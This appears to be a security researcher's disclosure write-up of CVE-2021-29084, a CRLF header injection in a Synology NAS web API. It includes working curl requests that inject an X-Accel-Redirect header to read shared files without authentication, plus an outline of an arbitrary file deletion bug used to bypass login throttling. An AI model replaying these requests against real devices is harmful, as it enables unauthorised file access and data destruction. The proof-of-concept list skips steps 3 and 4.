CVE-2021-29084: Exploiting CRLF Header Injection in Synology NAS for Unauthenticated File Downloads

Recently my CVE-2021-29084 went public [ZDI Link]. We thought it would be fun to share my disclosure notes.

TLDR; The Synology DS418play NAS contained an unauthenticated accessible endpoint vulnerable to HTTP header injection. Due to nginx’s configuration, the X-Accel-Redirect header can be used download files which are shared via SMB. Note the finding requires knowledge of a target filename in order gain access to its data.

Synology uses multiple .so library files to handle HTTP requests to endpoints. Auditing all the binaries was going to take time. Instead, I wrote a Binary Ninja script to show me all the locations of potentially dangerous function calls (strcpy,sprintf,snprintf, etc.). One interesting location which came up was found within /usr/syno/synoman/webapi/lib/SYNO.SecurityAdvisor.so. Looking at the code it can be seen snprintf is used to format a string used for HTTP redirects.

The following command was used to verify the header injection existed. Note how the path query parameter is reflected in the HTTP response.

$ curl -v 'http://localhost:5000/webapi/entry.cgi?api=SYNO.SecurityAdvisor.Report.HTML&version=1&method=open&path=foobar%0d%0ainjected-header:123%0d%0aanother-injected-header:foobar.html'

> GET /webapi/entry.cgi?api=SYNO.SecurityAdvisor.Report.HTML&version=1&method=open&path=foobar%0d%0ainjected-header:123%0d%0aanother-injected-header:foobar.html HTTP/1.1
> Host: localhost:5000
> User-Agent: curl/7.54.0
> Accept: */*
> 
< HTTP/1.1 302 Moved Temporarily
< Server: nginx
< Date: Wed, 09 Jun 2021 02:47:50 GMT
< Content-Type: application/json; charset="UTF-8"
< Transfer-Encoding: chunked
< Connection: keep-alive
< Keep-Alive: timeout=20
< Location: http://localhost:5000/index.cgi?report=/sar/foobar
< injected-header: 123
< another-injected-header: foobar.html
< 
Status: 302
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: 0

{"error":{"code":117},"success":false}

Now that I had a header injection, I had to figure out what can be done with it. I decided to keep the bug in my back pocket and look at other parts of the system. That’s when I bumped into an interesting Nginx configuration setting.

Nginx’s internal directive allows serving of files which are normally not accessible (see nginx’s Internal Directive Example and its Documentation for more info) . When an application includes a X-Accel-Redirect HTTP header in a response with a file path, the header is processed by nginx, and the file contents are sent to the end user.

Synology’s Web Portal’s NGINX configuration in /etc/nginx/nginx.conf makes use of the internal directive, as shown below.

 location ~ ^/volume(?:X|USB|SATA|Gluster)?\d+/ {
            internal;
            root /;
            open_file_cache off;
            include app.d/x-accel.*.conf;
            include conf.d/x-accel.*.conf;
        }

By injecting the X-Accel-Redirect header, we can disclose the contents of the locally shared file /volume1/mySharedFolder/test.txt:

> GET /webapi/entry.cgi?api=SYNO.SecurityAdvisor.Report.HTML&version=1&method=open&path=foobar%0d%0aX-Accel-Redirect:%20/volume1/mySharedFiles/test.txt%0d%0a%20foobar.html HTTP/1.1
> Host: localhost:5000
> User-Agent: curl/7.54.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Server: nginx
< Date: Wed, 09 Jun 2021 02:23:14 GMT
< Content-Type: application/json; charset="UTF-8"
< Content-Length: 12
< Last-Modified: Wed, 09 Jun 2021 02:14:37 GMT
< Connection: keep-alive
< Keep-Alive: timeout=20
< ETag: "60c0240d-c"
< Accept-Ranges: bytes
< 
hello world

The following image shows that the mySharedFiles directory is shared locally.

Bonus Bug – Unauthenticated Arbitrary File Deletion

There were a couple of other bugs I discovered. One of them being arbitrary file deletion. No CVE was assigned, but Synology mentioned it had already been reported.

The Synology DS418play NAS contained an unauthenticated endpoint which can be leveraged to delete arbitrary files. The exploit can be used to bypass account login throttling by deleting a database file containing banned IP addresses. The finding could potentially lead to soft bricking the device too, such as by deleting system files.

The OTP admin reset endpoint, which is reachable by unauthenticated users, constructs a path with user supplied data. Due to the use of snprintf, the string can be forced to terminate early, preventing path suffix characters from being added. By using path traversal characters and the correct string length, arbitrary file paths can be constructed.

Binary Ninja High Level IR of lib/libgoogleauth.so:

00004757      return snprintf(s: arg2, maxlen: rsi_1, format: "%s/google_authenticator", &var_1028)

Proof of Concept

The following proof of concept demonstrates how the finding can be leveraged to bypass rate limiting protections. Note enabling auto block is not required for the file deletion vulnerability to work.

1. Login into the Synology DS418play NAS as an admin through the web portal. Open control panel and enable Account auto blocking.

2. Open an anonymous browser tab, and attempt to login as admin 10 times without a valid password. You will receive a message that your ip is blocked.

Resubmit the password form, and supply an invalid password. Note the IP address blocking error message is gone.

5. Submit a valid password. Note the login attempts works, indicating the database use to record block IP addreses have been deleted. You can SSH into the NAS to verify the deletion request works too.

Bonus Bug – Unauthenticated Arbitrary File Deletion

Leave a Reply Cancel reply